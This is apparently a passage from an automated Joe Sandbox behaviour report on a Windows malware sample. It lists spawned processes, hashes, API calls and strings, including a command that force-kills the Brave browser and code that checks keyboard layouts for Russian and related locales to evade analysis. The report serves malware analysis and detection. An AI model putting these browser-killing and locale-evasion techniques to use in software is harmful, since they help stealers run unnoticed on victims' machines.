Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	15:51:00
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	15:51:01
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	15:51:01
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	15:51:02
Start date:	12/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6d8ba0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	15:51:03
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"
Imagebase:	0x580000
File size:	966'656 bytes
MD5 hash:	89F43935DD16AF2945DA61DB6C46A02D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.1%
Total number of Nodes:	718
Total number of Limit Nodes:	36

Executed Functions

Function 00395C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,BA2B9754,BA2B9754), ref: 00395DCC
RegQueryValueExA.KERNEL32(BA2B9754,?,00000000,00000000,?,00000400,?,?,00000000,00000001,BA2B9754,BA2B9754), ref: 00395DFA
RegCloseKey.KERNEL32(BA2B9754,?,?,00000000,00000001,BA2B9754,BA2B9754), ref: 00395E06

Strings

00000422, xrefs: 003960C9
invalid stoi argument, xrefs: 00397090
stoi argument out of range, xrefs: 00397081
VUUU, xrefs: 00396F41
0000043f, xrefs: 0039612B
00000423, xrefs: 003960FA
Keyboard Layout\Preload, xrefs: 00396054
00000419, xrefs: 00396098

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 6f5deef611d334272734a8a6859510e196bda46b9023dd68af72b1394da7ba97
Instruction ID: 74bbff205f4bbf9a0e580b8d3892972a44f58fb006ef55878caf6d7d33ad451b
Opcode Fuzzy Hash: 6f5deef611d334272734a8a6859510e196bda46b9023dd68af72b1394da7ba97
Instruction Fuzzy Hash: 4FC20471A001189BDF2ADF68CC86BEEB775EF45304F504299E409EB2D2DB759A84CF90

Function 0039735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 95ae95783aa521099dfe18d735c97472ab1242ef93db3940ea320805b891b8f9
Instruction ID: 89de5c95b52a987f7d26e447f53551f16547898e0988e616eda63011140a78da
Opcode Fuzzy Hash: 95ae95783aa521099dfe18d735c97472ab1242ef93db3940ea320805b891b8f9
Instruction Fuzzy Hash: 46725B71A24148ABDF1AEF68CC86B9D7B75EF46310F50865CF8059B3C1DB359A80CB91

Function 003C652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,003C652A,?,?,?,?,?,003C7661), ref: 003C6566

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b2d45d81618534ca887b3551c4c5865770310d0c383a2458461a367d7c2a3a00
Instruction ID: 3b737146ea32bc8ec1b37efa8eb15f78f77a0746cdd6a5e81f655b1874b27788
Opcode Fuzzy Hash: b2d45d81618534ca887b3551c4c5865770310d0c383a2458461a367d7c2a3a00
Instruction Fuzzy Hash: 8CE08C34042548ABCF2A7B18CC1BF883B6AEF02740F114818FD059A222CB35EE92C780

Function 05430C37 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e27d9a24c2f398fbcb393021cb49abab2fcc4143e0642831a8a3603ac4a6f1ec
Instruction ID: 2cd8f82fad712c2520624bc7d673d5bbdbfd0b1417e9e192e4976357dd205221
Opcode Fuzzy Hash: e27d9a24c2f398fbcb393021cb49abab2fcc4143e0642831a8a3603ac4a6f1ec
Instruction Fuzzy Hash: 5F01A1FA04C114FDE315C546A60E9F76ABFF19B7303308227F44B95532D2944A4AA432

Function 05430C29 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ab79012a1e6e8497c2857bd6f568f6e3db7e4f859c69ebf2d8165c526c935ca
Instruction ID: 15616c1f18bcdf3b334d195f23c71651a99dbf41c46b57002404ae15b9a6fa9f
Opcode Fuzzy Hash: 9ab79012a1e6e8497c2857bd6f568f6e3db7e4f859c69ebf2d8165c526c935ca
Instruction Fuzzy Hash: AC0180EB04C014FDE256D1866B1E5F66ABFE1DA3307308223F84B9457292944A5B6071

Function 00395C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

00000422, xrefs: 003960C9
0000043f, xrefs: 0039612B
00000423, xrefs: 003960FA
Keyboard Layout\Preload, xrefs: 00396054
00000419, xrefs: 00396098

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 6f7c05bf48af5aa09c69050230538f6f2beb341e47da534a94bc7de4e7304f9d
Instruction ID: 69600d0fdf6661fb9d4f07eca9cbca8514a6729148bb21ce6e75cf74e501e407
Opcode Fuzzy Hash: 6f7c05bf48af5aa09c69050230538f6f2beb341e47da534a94bc7de4e7304f9d
Instruction Fuzzy Hash: E1F1E171900258ABEF26DF54CC85BDEBBB9EF45304F5042A9F509AB2C1DB749A84CF90

Function 00399BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
